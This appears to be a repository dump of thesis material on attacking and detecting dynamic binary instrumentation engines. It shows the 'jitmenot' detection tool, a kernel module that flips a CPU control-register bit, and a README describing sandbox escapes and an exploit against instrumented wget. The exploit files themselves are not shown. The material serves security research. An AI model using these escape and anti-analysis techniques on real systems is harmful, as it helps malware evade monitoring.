├── .gitignore ├── Dockerfile ├── LICENSE ├── README.md ├── jitmenot ├── .clang-format ├── Makefile ├── fsgsbase-mod │ ├── Makefile │ └── setfsgsbase.c ├── jitmenot.h ├── jitmenot.log ├── jitmenot.png ├── main.c ├── pmparser.c ├── pmparser.h ├── testEnter.c ├── testEnter.h ├── testEnvVar.c ├── testEnvVar.h ├── testFindConstant.c ├── testFindConstant.h ├── testFsbase.c ├── testFsbase.h ├── testJITBranchTime.c ├── testJITBranchTime.h ├── testJITLibTime.c ├── testJITLibTime.h ├── testMapname.c ├── testMapname.h ├── testNX.c ├── testNX.h ├── testPagePerm.c ├── testPagePerm.h ├── testRIPFXSAVE.c ├── testRIPFXSAVE.h ├── testRIPSIGINFO.c ├── testRIPSIGINFO.h ├── testRIPSYSCALL.c ├── testRIPSYSCALL.h ├── testSMC.c ├── testSMC.h ├── testVMLeave.c └── testVMLeave.h ├── ma_zhechev_2018.pdf ├── pwin ├── pwn.py ├── shell.c ├── shellcode.S └── wget ├── sandbox ├── SandboxPinTool.cpp ├── escape.c ├── makefile ├── makefile.rules ├── output-escape-0.png └── output-escape-1.png └── shadow ├── ShadowStackTool.cpp ├── makefile ├── makefile.rules ├── off_graph.pdf ├── pwnccgen.py └── shellcodedropper.py /.gitignore: -------------------------------------------------------------------------------- 1 | # MacOS 2 | .DS_Store 3 | 4 | # PIN 5 | obj-intel64/ 6 | pin.log 7 | 8 | # GDB 9 | .gdb_history 10 | peda-session* 11 | 12 | # Executables 13 | *.out 14 | build/ 15 | 16 | # Object files 17 | *.o 18 | *.ko 19 | *.obj 20 | *.elf 21 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | LABEL maintainer "jechkoj@gmail.com" 4 | 5 | # Install dependencies 6 | RUN apt-get update && apt-get install -y --no-install-recommends \ 7 | build-essential \ 8 | ca-certificates \ 9 | curl \ 10 | cmake \ 11 | gcc-7 g++-7 \ 12 | gdb \ 13 | git \ 14 | netcat \ 15 | python3 python3-pip python3-distutils python3-setuptools \ 16 | vim && \ 17 | apt-get clean && \ 18 | rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* 19 | 20 | WORKDIR /root 21 | 22 | # Download and unarchive Intel Pin 3.6 23 | RUN PIN_URL=https://software.intel.com/sites/landingpage/pintool/downloads/pin-3.6-97554-g31f0a167d-gcc-linux.tar.gz && \ 24 | curl -fSL -o pin.tar.gz $PIN_URL && \ 25 | mkdir -p /usr/local/pin && \ 26 | tar -xzf pin.tar.gz --directory /usr/local/pin --strip-components=1 && \ 27 | rm -r pin.tar.gz 28 | 29 | # Set Pin variables 30 | ENV PIN_ROOT="/usr/local/pin" 31 | ENV PATH=$PIN_ROOT:$PATH 32 | 33 | # Install python3 ptrace and keystone 34 | RUN pip3 install --upgrade pip 35 | RUN pip3 install --upgrade python-ptrace \ 36 | keystone-engine 37 | 38 | # Copy files 39 | COPY jitmenot /root/jitmenot 40 | COPY sandbox /root/sandbox 41 | COPY pwin /root/pwin 42 | COPY shadow /root/shadow 43 | 44 | # Setup example Pintool 45 | RUN cp -R /usr/local/pin/source/tools/MyPinTool /root/inst-count && \ 46 | mv /root/inst-count/MyPinTool.cpp /root/inst-count/InstCountPinTool.cpp && \ 47 | chmod 644 /root/inst-count/InstCountPinTool.cpp && \ 48 | sed -i '20s/.*/TEST_TOOL_ROOTS := InstCountPinTool/' /root/inst-count/makefile.rules 49 | 50 | RUN make -C /root/jitmenot && \ 51 | make -C /root/sandbox && \ 52 | make -C /root/shadow && \ 53 | make -C /root/inst-count && \ 54 | gcc -Wl,-z,relro,-z,now -fPIC -pie -fpie -D_FORTIFY_SOURCE=2 -O3 -o /root/sandbox/escape /root/sandbox/escape.c && \ 55 | gcc -Wl,-z,relro,-z,now -fPIC -pie -fpie -D_FORTIFY_SOURCE=2 -o /root/pwin/shell /root/pwin/shell.c 56 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Zhechko Zhechev 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## PwIN - Pwning Intel piN 2 | 3 | This repository contains supporting material for my master thesis `Security Evaluation of Dynamic Binary Instrumentation Engines` supervised by Julian Kirsch ([@kirschju](https://github.com/kirschju)). 4 | 5 | ### DBI Engines Detection Tool *jitmenot* 6 | 7 | Utilising different artefacts introduced by the instrumentation process in the program's execution, one can detect the underlying Dynamic Binary Instrumentation (DBI) engine. The developed tool called *jitmenot* employs 13 different DBI detection mechanisms and can be built with the provided `Makefile`. The resulting binary (`build/jitmenot`) is then ready to be executed in the context of any DBI framework. A red POSITIVE next to a detection mechanism indicates that it has revealed DBI engine's presence, while a green NEGATIVE signals that no instrumentation was detected. 8 | 9 | In order to execute the *fsbase* test, one has to load a kernel module (`jitmenot/fsgsbase-mod`) using `make start` which allows the execution of the `rdfsbase` instruction in userspace, available only for Intel processors newer than Ivy Bridge. Finally, starting *jitmenot* with `-v` parameter prints additional information for each test case. 10 | 11 | Functionality was tested on Linux `x86-64` with *Intel Pin*, *DynamoRIO*, *QBDI*, and *Valgrind*. Pull requests regarding new detection mechanisms are always welcome. 12 | 13 | ![jitmenot](jitmenot/jitmenot.png) 14 | 15 | ### Sandbox Escaping when Controlling Code and Data 16 | - `sandbox/SandboxPinTool.cpp`: Tracks all system calls executed by the instrumented application and prints basic information about them, for example syscall number, parameters. 17 | 18 | - `sandbox/escape.c`: Escapes the DBI framework's sandbox by overwriting its own instrumented code. Executes one system call which is not registered by the tool as a proof of concept. 19 | 20 | ![escape-0](sandbox/output-escape-0.png) 21 | ![escape-1](sandbox/output-escape-1.png) 22 | 23 | ### Sandbox Escape when Controlling only Data 24 | - `shadow/pwnccgen.py`: A python script that generates a program to a given Pintool which escapes DBI engine's sandbox by executing any assembly instructions, provided by the user via standard input. 25 | 26 | - `shadow/ShadowStackTool.cpp`: A straightforward implementation of a Shadow Stack according to `ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks` by Lucas Davi, Ahmad-Reza Sadeghi, and Marcel Winandy. This Pintool can be used to illustrate the sandbox escape technique performed by programs generated with `pwnccgen.py`. 27 | 28 | - `pwin/pwn.py`: A python server that bootstraps an attack succeeding with probability 1:16 against an instrumented versions of `wget`, *1.19.2* and older (binary also provided in the same folder). 29 | 30 | - `pwin/shell.c`: A simple program which spawns a shell only in a DBI environment by executing code residing on a non-executable stack. 31 | 32 | ### Further Information 33 | More information about the core concepts can be found in the thesis. To experiment with the examples, one can build a Docker image using the provided `Dockerfile`. Alternatively, you can download an already built image from . 34 | 35 | To create a container use: 36 | ```bash 37 | docker run --privileged -i -t zhechkoz/pwin /bin/bash 38 | ``` 39 | -------------------------------------------------------------------------------- /jitmenot/.clang-format: -------------------------------------------------------------------------------- 1 | --- 2 | Language: Cpp 3 | # BasedOnStyle: LLVM 4 | AccessModifierOffset: -2 5 | AlignAfterOpenBracket: Align 6 | AlignConsecutiveAssignments: false 7 | AlignConsecutiveDeclarations: false 8 | AlignEscapedNewlinesLeft: false 9 | AlignOperands: true 10 | AlignTrailingComments: true 11 | AllowAllParametersOfDeclarationOnNextLine: true 12 | AllowShortBlocksOnASingleLine: false 13 | AllowShortCaseLabelsOnASingleLine: false 14 | AllowShortFunctionsOnASingleLine: All 15 | AllowShortIfStatementsOnASingleLine: true 16 | AllowShortLoopsOnASingleLine: true 17 | AlwaysBreakAfterDefinitionReturnType: None 18 | AlwaysBreakAfterReturnType: None 19 | AlwaysBreakBeforeMultilineStrings: false 20 | AlwaysBreakTemplateDeclarations: false 21 | BinPackArguments: true 22 | BinPackParameters: true 23 | BraceWrapping: 24 | AfterClass: false 25 | AfterControlStatement: false 26 | AfterEnum: false 27 | AfterFunction: false 28 | AfterNamespace: false 29 | AfterObjCDeclaration: false 30 | AfterStruct: false 31 | AfterUnion: false 32 | BeforeCatch: false 33 | BeforeElse: false 34 | IndentBraces: false 35 | BreakBeforeBinaryOperators: None 36 | BreakBeforeBraces: Attach 37 | BreakBeforeTernaryOperators: true 38 | BreakConstructorInitializersBeforeComma: false 39 | BreakAfterJavaFieldAnnotations: false 40 | BreakStringLiterals: true 41 | ColumnLimit: 120 42 | CommentPragmas: '^ IWYU pragma:' 43 | ConstructorInitializerAllOnOneLineOrOnePerLine: false 44 | ConstructorInitializerIndentWidth: 4 45 | ContinuationIndentWidth: 4 46 | Cpp11BracedListStyle: true 47 | DerivePointerAlignment: false 48 | DisableFormat: false 49 | ExperimentalAutoDetectBinPacking: false 50 | ForEachMacros: [ foreach, Q_FOREACH, BOOST_FOREACH ] 51 | IncludeCategories: 52 | - Regex: '^"(llvm|llvm-c|clang|clang-c)/' 53 | Priority: 2 54 | - Regex: '^(<|"(gtest|isl|json)/)' 55 | Priority: 3 56 | - Regex: '.*' 57 | Priority: 1 58 | IncludeIsMainRegex: '$' 59 | IndentCaseLabels: false 60 | IndentWidth: 4 61 | IndentWrappedFunctionNames: false 62 | JavaScriptQuotes: Leave 63 | JavaScriptWrapImports: true 64 | KeepEmptyLinesAtTheStartOfBlocks: true 65 | MacroBlockBegin: '' 66 | MacroBlockEnd: '' 67 | MaxEmptyLinesToKeep: 1 68 | NamespaceIndentation: None 69 | ObjCBlockIndentWidth: 2 70 | ObjCSpaceAfterProperty: false 71 | ObjCSpaceBeforeProtocolList: true 72 | PenaltyBreakBeforeFirstCallParameter: 19 73 | PenaltyBreakComment: 300 74 | PenaltyBreakFirstLessLess: 120 75 | PenaltyBreakString: 1000 76 | PenaltyExcessCharacter: 1000000 77 | PenaltyReturnTypeOnItsOwnLine: 60 78 | PointerAlignment: Right 79 | ReflowComments: true 80 | SortIncludes: true 81 | SpaceAfterCStyleCast: false 82 | SpaceAfterTemplateKeyword: true 83 | SpaceBeforeAssignmentOperators: true 84 | SpaceBeforeParens: ControlStatements 85 | SpaceInEmptyParentheses: false 86 | SpacesBeforeTrailingComments: 1 87 | SpacesInAngles: false 88 | SpacesInContainerLiterals: true 89 | SpacesInCStyleCastParentheses: false 90 | SpacesInParentheses: false 91 | SpacesInSquareBrackets: false 92 | Standard: Cpp11 93 | TabWidth: 4 94 | UseTab: Never 95 | ... 96 | 97 | -------------------------------------------------------------------------------- /jitmenot/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -O2 -D_FORTIFY_SOURCE=2 -fno-plt -Wl,-z,relro,-z,now -fPIC -pie -Wall -pedantic -fno-omit-frame-pointer -fstack-protector-all -ftrapv -Wstrict-prototypes -mfsgsbase 3 | LDFLAGS = -Wl,-z,relro,-z,now -pie -lm -ldl 4 | 5 | BUILD = build 6 | 7 | HEADERS = jitmenot.h pmparser.h testEnvVar.h testJITBranchTime.h testJITLibTime.h testNX.h testPagePerm.h testMapname.h testRIPFXSAVE.h testRIPSIGINFO.h testRIPSYSCALL.h testSMC.h testVMLeave.h testFsbase.h testEnter.h testFindConstant.h Makefile 8 | OBJ = main.o pmparser.o testEnvVar.o testJITBranchTime.o testJITLibTime.o testNX.o testPagePerm.o testMapname.o testRIPFXSAVE.o testRIPSIGINFO.o testRIPSYSCALL.o testSMC.o testVMLeave.o testFsbase.o testEnter.o testFindConstant.o 9 | TARGETS = $(patsubst %,$(BUILD)/%,$(OBJ)) 10 | 11 | .PHONY: all 12 | 13 | all: directories $(BUILD)/jitmenot 14 | 15 | .PHONY: debug 16 | 17 | debug: CFLAGS += -DDEBUG -g 18 | debug: all 19 | 20 | $(BUILD)/%.o: %.c $(DEPS) 21 | $(CC) -c -o $@ $< $(CFLAGS) 22 | 23 | $(BUILD)/jitmenot: $(TARGETS) 24 | $(CC) -o $@ $^ $(LDFLAGS) 25 | 26 | .PHONY: directories 27 | directories: 28 | @ mkdir -p $(BUILD) 29 | 30 | .PHONY: clean 31 | 32 | clean: 33 | @rm -rf $(BUILD) 34 | -------------------------------------------------------------------------------- /jitmenot/fsgsbase-mod/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += setfsgsbase.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | 9 | start: all 10 | sudo insmod ./setfsgsbase.ko 11 | sudo rmmod setfsgsbase 12 | dmesg | tail 13 | -------------------------------------------------------------------------------- /jitmenot/fsgsbase-mod/setfsgsbase.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | static inline u64 getcr4(void) { 5 | u64 cr4; 6 | 7 | asm volatile ( 8 | "mov %%cr4, %%rax\n\t" 9 | "mov %%rax, %0\n\t" 10 | :"=m"(cr4) 11 | :: "%rax" 12 | ); 13 | 14 | return cr4; 15 | } 16 | 17 | static void setfsgsbase(void* info) { 18 | u64 cr4 = getcr4(); 19 | printk(KERN_INFO "FSGSBASE original: %llu (%u).\n", cr4, (unsigned char)((cr4 >> 16) & 1)); 20 | 21 | cr4 |= (1 << 16); 22 | 23 | asm volatile ( 24 | "movq %0, %%cr4\n" 25 | : 26 | :"r"(cr4) 27 | ); 28 | 29 | printk(KERN_INFO "FSGSBASE changed: %llu (%u).\n", cr4, (unsigned char)((cr4 >> 16) & 1)); 30 | } 31 | 32 | int init_module(void) { 33 | on_each_cpu(setfsgsbase, NULL, 0); 34 | return 0; 35 | } 36 | 37 | void cleanup_module(void) { 38 | } 39 | 40 | -------------------------------------------------------------------------------- /jitmenot/jitmenot.h: -------------------------------------------------------------------------------- 1 | #ifndef _PIN_DETECT_H 2 | #define _PIN_DETECT_H 3 | 4 | #define VERSION "1.0" 5 | 6 | #define RESULT_NO 0 7 | #define RESULT_UNK 1 8 | #define RESULT_YES 2 9 | 10 | struct test_chain { 11 | /* Performs the actual test. Nonzero return means "debugger found" */ 12 | int (*detect)(void); 13 | /* Cleanup any leftovers for asynchronous tests */ 14 | int (*cleanup)(void); 15 | /* Human readable description of the test. */ 16 | const char *description; 17 | /* Short, but UNIQUELY identifying name of the test. */ 18 | const char *name; 19 | struct test_chain *next_test; 20 | }; 21 | 22 | struct test_chain *test_chain_alloc_new(struct test_chain *); 23 | void test_chain_free_all(struct test_chain *all_tests); 24 | 25 | #if !defined __linux__ 26 | #error "Only supported operating system is Linux." 27 | #endif 28 | 29 | #if !defined __amd64__ 30 | #error "Compiling for unknown architecture. Only x86-64 is supported." 31 | #endif 32 | 33 | #define ARCH_AMD64 0 34 | 35 | extern const char *arch_strings[]; 36 | extern unsigned int this_arch; 37 | 38 | #endif 39 | -------------------------------------------------------------------------------- /jitmenot/jitmenot.log: -------------------------------------------------------------------------------- 1 | Pin 2 | ========================= 3 | jitbr: POSITIVE 4 | jitlib: POSITIVE 5 | pageperm: POSITIVE 6 | vmleave: POSITIVE 7 | constant: POSITIVE 8 | mapname: POSITIVE 9 | smc: POSITIVE 10 | ripfxsave: POSITIVE 11 | ripsiginfo: POSITIVE 12 | ripsyscall: POSITIVE 13 | nx: POSITIVE 14 | envvar: POSITIVE 15 | fsbase: POSITIVE 16 | enter: NEGATIVE 17 | 18 | Valgrind 19 | ========================= 20 | jitbr: POSITIVE 21 | jitlib: POSITIVE 22 | pageperm: POSITIVE 23 | vmleave: NEGATIVE 24 | constant: POSITIVE 25 | mapname: POSITIVE 26 | smc: POSITIVE 27 | ripfxsave: POSITIVE 28 | ripsiginfo: POSITIVE 29 | ripsyscall: NEGATIVE 30 | nx: POSITIVE 31 | envvar: POSITIVE 32 | fsbase: UNKNOWN 33 | enter: POSITIVE 34 | 35 | DynamoRIO 36 | ========================= 37 | jitbr: POSITIVE 38 | jitlib: POSITIVE 39 | pageperm: POSITIVE 40 | vmleave: NEGATIVE 41 | constant: POSITIVE 42 | mapname: POSITIVE 43 | smc: NEGATIVE 44 | ripfxsave: NEGATIVE 45 | ripsiginfo: POSITIVE 46 | ripsyscall: POSITIVE 47 | nx: POSITIVE 48 | envvar: POSITIVE 49 | fsbase: POSITIVE 50 | enter: NEGATIVE 51 | 52 | QBDI 53 | ========================= 54 | jitbr: NEGATIVE 55 | jitlib: NEGATIVE 56 | pageperm: POSITIVE 57 | vmleave: POSITIVE 58 | constant: POSITIVE 59 | mapname: NEGATIVE 60 | smc: POSITIVE 61 | ripfxsave: POSITIVE 62 | ripsiginfo: POSITIVE 63 | ripsyscall: POSITIVE 64 | nx: POSITIVE 65 | envvar: NEGATIVE 66 | fsbase: NEGATIVE 67 | enter: NEGATIVE 68 | 69 | ============ EXTRA RESULTS ============ 70 | 71 | Pin - Probe mode 72 | ========================= 73 | jitbr: NEGATIVE 74 | jitlib: NEGATIVE 75 | pageperm: POSITIVE 76 | vmleave: POSITIVE 77 | constant: POSITIVE 78 | mapname: POSITIVE 79 | smc: NEGATIVE 80 | ripfxsave: NEGATIVE 81 | ripsiginfo: NEGATIVE 82 | ripsyscall: NEGATIVE 83 | nx: NEGATIVE 84 | envvar: POSITIVE 85 | fsbase: NEGATIVE 86 | enter: NEGATIVE 87 | 88 | Dyninst - Inlined / Probe mode 89 | ========================= 90 | jitbr: NEGATIVE 91 | jitlib: NEGATIVE 92 | pageperm: POSITIVE 93 | vmleave: NEGATIVE 94 | constant: POSITIVE 95 | mapname: POSITIVE 96 | smc: NEGATIVE 97 | ripfxsave: NEGATIVE 98 | ripsiginfo: NEGATIVE 99 | ripsyscall: NEGATIVE 100 | nx: NEGATIVE 101 | envvar: POSITIVE 102 | fsbase: NEGATIVE 103 | enter: NEGATIVE 104 | -------------------------------------------------------------------------------- /jitmenot/jitmenot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhechkoz/PwIN/ba08ed92ca332f92356057f75c4777bd6c652535/jitmenot/jitmenot.png -------------------------------------------------------------------------------- /jitmenot/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "jitmenot.h" 10 | 11 | #include "testEnter.h" 12 | #include "testEnvVar.h" 13 | #include "testFindConstant.h" 14 | #include "testFsbase.h" 15 | #include "testJITBranchTime.h" 16 | #include "testJITLibTime.h" 17 | #include "testMapname.h" 18 | #include "testNX.h" 19 | #include "testPagePerm.h" 20 | #include "testRIPFXSAVE.h" 21 | #include "testRIPSIGINFO.h" 22 | #include "testRIPSYSCALL.h" 23 | #include "testSMC.h" 24 | #include "testVMLeave.h" 25 | 26 | unsigned int this_arch = UINT_MAX; 27 | 28 | const char *arch_strings[] = { 29 | [ARCH_AMD64] = "x86_64", 30 | }; 31 | 32 | struct test_chain *test_chain_alloc_new(struct test_chain *all_tests) { 33 | struct test_chain *test = NULL, *tail = NULL; 34 | 35 | if (!all_tests) { 36 | #ifdef DEBUG 37 | fprintf(stderr, "BUG: all_tests is NULL!\n"); 38 | #endif 39 | return NULL; 40 | } 41 | 42 | test = calloc(1, sizeof(struct test_chain)); 43 | if (!test) { 44 | fprintf(stderr, "Out of memory when registering test file __FILE__\n"); 45 | return NULL; 46 | } 47 | 48 | tail = all_tests; 49 | while (tail) { 50 | if (tail->next_test == NULL) { 51 | tail->next_test = test; 52 | break; 53 | } 54 | tail = tail->next_test; 55 | } 56 | 57 | return test; 58 | } 59 | 60 | void print_usage(char *prog_name) { 61 | printf("Usage: %s \n\t-v\t\t Verbose output\n\t-h\t\t Prints this message\n", prog_name); 62 | } 63 | 64 | void test_chain_free_all(struct test_chain *all_tests) { 65 | struct test_chain *next = NULL; 66 | 67 | if (!all_tests) { 68 | #ifdef DEBUG 69 | fprintf(stderr, "BUG: all_tests is NULL!\n"); 70 | #endif 71 | return; 72 | } 73 | 74 | while (all_tests) { 75 | next = all_tests->next_test; 76 | all_tests->cleanup(); 77 | free(all_tests); 78 | all_tests = next; 79 | } 80 | return; 81 | } 82 | 83 | int main(int argc, char **argv) { 84 | int res = 0, verbose = 0, option = 0; 85 | struct test_chain head = {NULL, NULL, NULL, NULL, NULL}; 86 | struct test_chain *cur = NULL; 87 | 88 | // Check current architecture 89 | for (int i = 0; i < sizeof(arch_strings) / sizeof(arch_strings[0]); i++) { 90 | if (!strcmp((const char *)getauxval(AT_PLATFORM), arch_strings[i])) this_arch = i; 91 | } 92 | 93 | if (this_arch == UINT_MAX) { 94 | fprintf(stderr, "Running on unsupported architecture.\n"); 95 | return -1; 96 | } 97 | 98 | while ((option = getopt(argc, argv, "vh")) != -1) { 99 | switch (option) { 100 | case 'v': 101 | verbose = 1; 102 | break; 103 | case 'h': 104 | default: 105 | print_usage(argv[0]); 106 | exit(EXIT_FAILURE); 107 | } 108 | } 109 | 110 | head.name = "head"; 111 | head.description = "List head. Should not be visible at all."; 112 | 113 | res |= register_test_jitbr(&head); 114 | res |= register_test_jitlib(&head); 115 | res |= register_test_pageperm(&head); 116 | res |= register_test_vmleave(&head); 117 | res |= register_test_find_constant(&head); 118 | res |= register_test_mapname(&head); 119 | res |= register_test_smc(&head); 120 | res |= register_test_ripfxsave(&head); 121 | res |= register_test_testripsiginfo(&head); 122 | res |= register_test_ripsyscall(&head); 123 | res |= register_test_testnx(&head); 124 | res |= register_test_envvar(&head); 125 | res |= register_test_fsbase(&head); 126 | res |= register_test_enter(&head); 127 | 128 | if (res) { 129 | fprintf(stderr, "Failed to register one or more tests (bmp = %#018x)." 130 | "Exiting ...", 131 | res); 132 | return -1; 133 | } 134 | 135 | for (cur = head.next_test; cur; cur = cur->next_test) { 136 | if (verbose != 0) { 137 | puts(cur->description); 138 | } 139 | 140 | printf("%12s: ", cur->name); 141 | #ifdef DEBUG 142 | puts(""); 143 | #endif 144 | switch (cur->detect()) { 145 | case RESULT_NO: 146 | puts("\x1b[1m\x1b[32mNEGATIVE\x1b[0m\x1b[39m"); 147 | break; 148 | case RESULT_YES: 149 | puts("\x1b[1m\x1b[31mPOSITIVE\x1b[0m\x1b[39m"); 150 | break; 151 | case RESULT_UNK: 152 | puts("\x1b[1m\x1b[33mUNKNOWN\x1b[0m\x1b[39m"); 153 | break; 154 | default: 155 | fprintf(stderr, "BUG: Test %s returned invalid result! Enable debug!\n", cur->name); 156 | return -1; 157 | } 158 | 159 | if (verbose != 0) { 160 | puts(""); 161 | } 162 | } 163 | 164 | puts(""); 165 | test_chain_free_all(head.next_test); 166 | 167 | // scanf("%c", argv[0]); 168 | } 169 | -------------------------------------------------------------------------------- /jitmenot/pmparser.c: -------------------------------------------------------------------------------- 1 | /* 2 | @Author : ouadimjamal@gmail.com 3 | @date : December 2015 4 | 5 | Permission to use, copy, modify, distribute, and sell this software and its 6 | documentation for any purpose is hereby granted without fee, provided that 7 | the above copyright notice appear in all copies and that both that 8 | copyright notice and this permission notice appear in supporting 9 | documentation. No representations are made about the suitability of this 10 | software for any purpose. It is provided "as is" without express or 11 | implied warranty. 12 | */ 13 | 14 | #include "pmparser.h" 15 | 16 | /** 17 | * gobal variables 18 | */ 19 | procmaps_struct *g_last_head = NULL; 20 | procmaps_struct *g_current = NULL; 21 | 22 | procmaps_struct *pmparser_parse(int pid) { 23 | char maps_path[500]; 24 | if (pid >= 0) { 25 | sprintf(maps_path, "/proc/%d/maps", pid); 26 | } else { 27 | sprintf(maps_path, "/proc/self/maps"); 28 | } 29 | FILE *file = fopen(maps_path, "r"); 30 | if (!file) { 31 | fprintf(stderr, "pmparser : cannot open the memory maps, %s\n", strerror(errno)); 32 | return NULL; 33 | } 34 | int ind = 0; 35 | char buf[3000]; 36 | char c; 37 | procmaps_struct *list_maps = NULL; 38 | procmaps_struct *tmp; 39 | procmaps_struct *current_node = list_maps; 40 | char addr1[20], addr2[20], perm[8], offset[20], dev[10], inode[30], pathname[600]; 41 | while (1) { 42 | if ((c = fgetc(file)) == EOF) break; 43 | if (fgets(buf + 1, 259, file) == NULL) { 44 | return NULL; 45 | }; 46 | buf[0] = c; 47 | // allocate a node 48 | tmp = (procmaps_struct *)malloc(sizeof(procmaps_struct)); 49 | // fill the node 50 | _pmparser_split_line(buf, addr1, addr2, perm, offset, dev, inode, pathname); 51 | // printf("#%s",buf); 52 | // printf("%s-%s %s %s %s 53 | // %s\t%s\n",addr1,addr2,perm,offset,dev,inode,pathname); 54 | // addr_start & addr_end 55 | // unsigned long l_addr_start; 56 | sscanf(addr1, "%lx", (long unsigned *)&tmp->addr_start); 57 | sscanf(addr2, "%lx", (long unsigned *)&tmp->addr_end); 58 | // size 59 | tmp->length = (unsigned long)(tmp->addr_end) - (unsigned long)(tmp->addr_start); 60 | // perm 61 | strcpy(tmp->perm, perm); 62 | tmp->is_r = (perm[0] == 'r'); 63 | tmp->is_w = (perm[1] == 'w'); 64 | tmp->is_x = (perm[2] == 'x'); 65 | tmp->is_p = (perm[3] == 'p'); 66 | 67 | // offset 68 | sscanf(offset, "%lx", (long unsigned *)&tmp->offset); 69 | // device 70 | strcpy(tmp->dev, dev); 71 | // inode 72 | tmp->inode = atoi(inode); 73 | // pathname 74 | strcpy(tmp->pathname, pathname); 75 | tmp->next = NULL; 76 | // attach the node 77 | if (ind == 0) { 78 | list_maps = tmp; 79 | list_maps->next = NULL; 80 | current_node = list_maps; 81 | } 82 | current_node->next = tmp; 83 | current_node = tmp; 84 | ind++; 85 | // printf("%s",buf); 86 | } 87 | 88 | g_last_head = list_maps; 89 | return list_maps; 90 | } 91 | 92 | procmaps_struct *pmparser_next() { 93 | if (g_last_head == NULL) return NULL; 94 | if (g_current == NULL) { 95 | g_current = g_last_head; 96 | } else 97 | g_current = g_current->next; 98 | 99 | return g_current; 100 | } 101 | 102 | void pmparser_free(procmaps_struct *maps_list) { 103 | if (maps_list == NULL) return; 104 | procmaps_struct *act = maps_list; 105 | procmaps_struct *nxt = act->next; 106 | while (act != NULL) { 107 | free(act); 108 | act = nxt; 109 | if (nxt != NULL) nxt = nxt->next; 110 | } 111 | } 112 | 113 | void _pmparser_split_line(char *buf, char *addr1, char *addr2, char *perm, char *offset, char *device, char *inode, 114 | char *pathname) { 115 | // 116 | int orig = 0; 117 | int i = 0; 118 | // addr1 119 | while (buf[i] != '-') { 120 | addr1[i - orig] = buf[i]; 121 | i++; 122 | } 123 | addr1[i] = '\0'; 124 | i++; 125 | // addr2 126 | orig = i; 127 | while (buf[i] != '\t' && buf[i] != ' ') { 128 | addr2[i - orig] = buf[i]; 129 | i++; 130 | } 131 | addr2[i - orig] = '\0'; 132 | 133 | // perm 134 | while (buf[i] == '\t' || buf[i] == ' ') i++; 135 | orig = i; 136 | while (buf[i] != '\t' && buf[i] != ' ') { 137 | perm[i - orig] = buf[i]; 138 | i++; 139 | } 140 | perm[i - orig] = '\0'; 141 | // offset 142 | while (buf[i] == '\t' || buf[i] == ' ') i++; 143 | orig = i; 144 | while (buf[i] != '\t' && buf[i] != ' ') { 145 | offset[i - orig] = buf[i]; 146 | i++; 147 | } 148 | offset[i - orig] = '\0'; 149 | // dev 150 | while (buf[i] == '\t' || buf[i] == ' ') i++; 151 | orig = i; 152 | while (buf[i] != '\t' && buf[i] != ' ') { 153 | device[i - orig] = buf[i]; 154 | i++; 155 | } 156 | device[i - orig] = '\0'; 157 | // inode 158 | while (buf[i] == '\t' || buf[i] == ' ') i++; 159 | orig = i; 160 | while (buf[i] != '\t' && buf[i] != ' ') { 161 | inode[i - orig] = buf[i]; 162 | i++; 163 | } 164 | inode[i - orig] = '\0'; 165 | // pathname 166 | pathname[0] = '\0'; 167 | while (buf[i] == '\t' || buf[i] == ' ') i++; 168 | orig = i; 169 | while (buf[i] != '\t' && buf[i] != ' ' && buf[i] != '\n') { 170 | pathname[i - orig] = buf[i]; 171 | i++; 172 | } 173 | pathname[i - orig] = '\0'; 174 | } 175 | 176 | void pmparser_print(procmaps_struct *map, int order) { 177 | procmaps_struct *tmp = map; 178 | int id = 0; 179 | if (order < 0) order = -1; 180 | while (tmp != NULL) { 181 | //(unsigned long) tmp->addr_start; 182 | if (order == id || order == -1) { 183 | printf("Backed by:\t%s\n", strlen(tmp->pathname) == 0 ? "[anonym*]" : tmp->pathname); 184 | printf("Range:\t\t%p-%p\n", tmp->addr_start, tmp->addr_end); 185 | printf("Length:\t\t%ld\n", tmp->length); 186 | printf("Offset:\t\t%ld\n", tmp->offset); 187 | printf("Permissions:\t%s\n", tmp->perm); 188 | printf("Inode:\t\t%d\n", tmp->inode); 189 | printf("Device:\t\t%s\n", tmp->dev); 190 | } 191 | if (order != -1 && id > order) 192 | tmp = NULL; 193 | else if (order == -1) { 194 | printf("#################################\n"); 195 | tmp = tmp->next; 196 | } else 197 | tmp = tmp->next; 198 | 199 | id++; 200 | } 201 | } 202 | -------------------------------------------------------------------------------- /jitmenot/pmparser.h: -------------------------------------------------------------------------------- 1 | /* 2 | 